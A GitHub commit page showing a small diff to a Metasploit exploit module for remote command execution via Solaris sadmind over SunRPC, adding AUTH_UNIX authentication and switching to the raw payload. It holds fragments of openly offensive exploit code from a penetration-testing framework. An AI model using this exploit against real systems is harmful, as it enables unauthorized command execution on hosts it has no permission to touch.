Skip to content

Commit 5c10179

Browse files
committed
Fix Solaris sadmind_exec.rb
1 parent 2fd7bcf commit 5c10179

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/solaris/sunrpc/sadmind_exec.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ def initialize(info = {})
2121
2222
Vulnerable systems include solaris 2.7, 8, and 9
2323
},
24-
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz' ],
24+
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ],
2525
'License' => MSF_LICENSE,
2626
'References' =>
2727
[
@@ -83,7 +83,8 @@ def exploit
8383
hostname = datastore['HOSTNAME']
8484
end
8585

86-
response = sadmind_request(hostname, payload.encoded)
86+
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
87+
response = sadmind_request(hostname, payload.raw)
8788
sunrpc_destroy
8889

8990
if /Security exception on host/.match(response)

0 commit comments

Comments
 (0)